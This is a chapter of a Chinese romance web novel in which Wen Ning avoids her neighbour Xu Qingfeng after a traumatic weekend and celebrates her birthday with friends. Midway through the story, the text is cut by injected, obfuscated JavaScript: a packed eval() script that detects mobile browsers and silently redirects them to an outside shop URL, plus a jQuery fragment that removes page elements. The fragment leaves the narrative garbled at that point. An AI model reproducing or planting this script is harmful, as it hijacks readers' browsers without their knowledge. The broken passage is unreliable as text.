温宁半夜惊醒后,翻来覆去很久才再次入睡。
早起收到派出所打来的电话,已经出具拘留决定书,按照规定拘留杜骏玮7日,罚款三百元。
温宁松了一口气,这个时间足够王栀子卷铺盖离开这个城市,随后去隔壁将消息告诉王栀子和于君。
今天是周日,原本打算下午回去,但想到很久和王栀子很久没见面了,索性一起在这边玩一天,晚上再走。王栀子因为昨天的事情一直对温宁很愧疚,温宁反过来安慰她。虽然她自己也有委屈,但肇事者是杜骏玮,王栀子同样是受害者,况且自己挨一巴掌,能让朋友清醒一点并脱离苦海,未尝不是一件好事。
一直玩到晚上6点左右,便送温宁去车站,三人在车站外道别,约定以后常聚。
温宁上高铁后,找到自己的位置坐下,返程也是四个小时,到家估计11点左右。
白天有收到徐清风发来消息,依旧询问她回去的时间,温宁前面一直没有回复,对方最后一条询问温宁是不是出了什么事,她还是回复告知对方,自己没有什么事,今天会回去。
看着屏幕中廖廖几句对话,温宁心中苦闷,她还没想好该怎么面对徐清风。虽然一直安抚王栀子说自己没有什么事,但这种经历对温宁多少还是留下了一些心理阴影,再加上昨晚的噩梦过于真实...
沙市
从大学到现在,在沙市已经待了6年,对温宁而言,这座城市的熟悉感让她感到非常安心,此时只想赶紧回家。
温宁回到小区,乘电梯上楼,准备开自己家的门,对面的徐清风家的门更快打开。
“温宁,你回来了”
听到男人的声音,温宁不敢回头,赶紧打开家门进去,又迅速关上门。
只留徐清风一个人站在走道迷茫。
温宁通过门上的猫眼看外面。看到徐清风走近,抬手准备敲门,停顿一会,又转身回家了。
酸涩感上涌,眼眶湿润,控制不住的回避行为,让温宁自己也很痛苦。
她卸下行装,轻声行动,以免吵醒已经睡着的温一凡。还是自己的床舒服,温宁躺下,但没有困意。
徐清风又给她发了消息:【温宁,如果发生了不开心的事情,可以跟我说】
该怎么说呢…因为别人的行为,而代入到他身上吗?
温宁在聊天框打好一串字,想告诉他发生了什么,只差发送,还是删掉了。
让她再想一想吧。
第二天温宁照常出门上班,眼前是熟悉的场景,准备出门跑步的徐清风。
“温宁,早”男人先打招呼。
温宁下意识拨弄右边的头发,试图挡住还未消肿的脸,礼貌回复:“早”
这一举动反而让对方看出端倪,他微微俯身想看她的脸,温宁往后退了一步,又立马向前走进刚停在这一层的电梯,男人愣一瞬,跟随进电梯,两人没有再说话。
万源大厦18层
虽然只过了周末两天,但因为发生太多事情,再上班竟有一丝陌生感。
温宁刚到工位,常会就凑过来说:“早啊温宁,你那天怎么...”,他话说一半,就看到温宁右脸微微肿起还有一丝红印,随即问道:“你脸怎么了?”
“嗯?...啊...拔智齿了”温宁反应过来,很快想到一个合理的理由。
对方相信了:“噢,我去给你弄点冰块吧”,说完就去茶水间用袋子装了些冰块给温宁,让她敷上。
“谢谢”温宁接过。
常会不变的幽默语气说:“客气”
接下来的一周,温宁的生活进入两点一线的状态,期间不论是谁邀约她,一律拒绝。也包括徐清风,刚开始他也找过温宁几次,但温宁要么礼貌敷衍拒绝,要么通过温一凡传话拒绝,甚至为了避免跟徐清风见面,早上上班会刻意晚一点出门,导致几次上班差点迟到。
后面几天,跟徐清风没有联系也没有见过面。
其他人也逐渐意识到温宁的不对劲,因为知道温宁的异常是去了趟临市找大学室友王栀子后回来出现的,因此罗屿婷也找了大学同学打听情况,问了几天,终于联系到了王栀子本人。
罗屿婷知道事情来龙去脉后,立马让李渔告诉徐清风。
周四
温宁打卡下班。
手机铃声响起,屏幕上显示一串陌生号码,但她还是滑动接听。
“喂?”
电话那头可以听到窸窸窣窣的声音,但没有人讲话。
常会提着一份三角形蛋糕走过来递给她,对她说“生日快乐,温宁。”
温宁意外的回过头,将手机从耳边移开。她已经忘记了自己的生日,也没想到他会知道自己的生日,脸上浮起这几天以来,难得一见的笑容。她伸手接过蛋糕,并问他:“谢谢,你怎么知道?”。
对方轻弹了一下她的额头:“拜托,我也是人事部的,想知道你的生日还不简单吗?”
“而且,我猜到你肯定不想宣扬,所以特意下班偷偷给你”他继续说。
“谢谢,下次给你回礼。”温宁朝他微笑,是发自内心的。
她忽然想到刚刚手机还在通话中,再次举起手机,电话已经早已挂断。
看着温宁盯着手机疑惑的眼神,常会问道:“怎么了?”
她将手机收起,随意的语气说道:“刚刚有个陌生电话打进来,但没有说话。”
“也许是诈骗电话?”常会说。
温宁摇摇头,“不像是诈骗号码,可能是打错了吧。”
话说完,两人乘电梯至一楼并肩往外走。
“感觉你前几天状态不好,是不是发生什么事了?”常会问。
温宁微怔:“有这么明显吗?”,她这几天确实想逃避一些事情,但是又不知道该怎么解决,情绪低落,做什么都提不起兴致,但也有努力克制不想让别人发现。
“很明显啊,我一开始还以为你生理期”常会笑道。
“嗯?生理期你也知道”
“呃...猜的猜的”
“所以你今天生日,有打算出去庆祝一下吗?”常会问。
“没有打算,想好好休息两天”
“行吧,本来还想请寿星撮一顿”
“不用啦,有蛋糕有很感谢了”温宁抬手示意手上的蛋糕。
两人边走边嬉笑。
远处一个男人看着他们越走越远的身影,脸上蒙上一层淡淡的沉郁。他从李渔那里知道温宁的遭遇后,将温宁这段时间的异常行为都联系起来,他以为温宁因为觉得痛苦、难堪、羞耻,所以想躲避所有人。他立马跑来找温宁,想立刻把她抱在怀里安慰她,告诉她以后他会保护她。
却没想到,见到的是这样的场景,她为什么能对常会嘻嘻哈哈,对自己的态度转变得那么冷淡。
温宁回家,一进门就看到温一凡、罗屿婷和李渔在家里忙活。
“宁宁,你回来啦,我们想给你过生日,所以不请自来啦”罗屿婷抬头对温宁说。
这一周因为情绪问题,一直沉浸在自己的世界,今天从常会口中得知,自己其实表现的很明显,所以她大概猜到罗屿婷除了给她庆生,也为了安抚她情绪而来。
温宁上前抱住罗屿婷:“谢谢你”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941171|213620||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
罗屿婷轻拍她的背,随后又轻轻把她推开,从茶几拿过来一个礼品袋,递给温宁:“生日快乐,宁宁,希望你每天都能开心”
随后她们让温宁坐下休息,其余三人迅速将晚餐制作完毕。
餐桌摆满菜肴,一侧摆放着各式各样的饮料、6寸蛋糕和三角形蛋糕。
四人落座,给温宁戴好生日帽,蛋糕点好蜡烛,准备关灯。
“等一下”李渔出声打断温一凡的动作。
“要不喊徐哥也过来吧”他话说得犹豫,声音越来越小。
众人看向温宁,场面安静,罗屿婷和李渔提前从温一凡口中得知,温宁这段时间躲徐清风躲得格外刻意,不知道他们之间发生了什么,不知道此刻适不适合叫他过来。
片刻后,温宁终于轻声开口:“好”
听到她同意,李渔立刻起身出门,敲隔壁的门,但过了好一阵才一个人回来。
“那个...徐哥说他有事,先不过来了”
气氛又一阵凝重,温一凡率先开口:“没事没事,这么多好吃的,我一个人吃都不够,正好少一个人跟我抢”
李渔立马附和,起身关灯,几人给温宁唱生日歌。
“祝你生日快乐~祝你生日快乐....”
伴随着歌声,温宁将两手交叉再面前,闭上眼睛许愿。
希望家人朋友健康快乐,希望发财,希望转运,希望...徐清风开心顺遂。
温宁睁开眼,吹灭面前的蜡烛。
仪式完毕,将蛋糕先挪到一边,众人拿起碗筷,边吃边聊,互相说笑打趣,但默契的没有提临市的事情。
饭后
温一凡和李渔在客厅打游戏,罗屿婷拉着温宁去房间。
两位女生躺在床上,氛围松弛惬意,从大学聊到现在,又从现在聊回大学,话题提到了王栀子。
“宁宁,对不起,我托人联系了王栀子,问了她一些事情”罗屿婷话语中带着歉意。
“她都告诉你了吗?”温宁语气没有什么波澜。
“嗯,包括你的遭遇”
温宁起身坐立,疑惑的看着对方:“你为什么一副很愧疚的样子”
“我怕你不想别人知道这件事情”
“怎么可能呢,这不是什么大事,况且我还觉得自己挺英勇的”
听得出来,温宁完全没有想隐瞒的意思,反倒是自豪,这下轮到罗屿婷坐起身子。
“那你这段时间,为什么状态这么差啊?”
“...”
“因为担心一些事情”
“什么事情?”罗屿婷紧问。
温宁犹豫了一会,还是把她的顾虑全部说出。
“所以你因为父母感情不和、魏明川对你不忠、那个该死的杜骏玮对王栀子pua以及你做的一场莫名其妙的噩梦,你不敢谈恋爱了,所以逃避徐清风?”
“嗯”温宁低头,声音很小的回应。
听到这,罗屿婷反倒是松了一口气,拉着温宁的收手说:“宁宁,你和徐清风住这么近,他是什么样的人,你应该有很多机会观察,为什么要因为其他人的事情,一棒子打死他呢?”
“我也知道这很荒谬,但是我好像控制不住。”
“你这样做,其实对徐清风很不公平,并且会把他推走的,你舍得吗?”
温宁摇头。
“宁宁,我明白你的顾虑,但他什么都没做错,起码给他一次能为自己证明的机会吧。”罗屿婷继续说
两人聊了很久,一直聊出困意,罗屿婷才拉着李渔离开,走之前还嘱咐温宁,对待感情也要勇敢。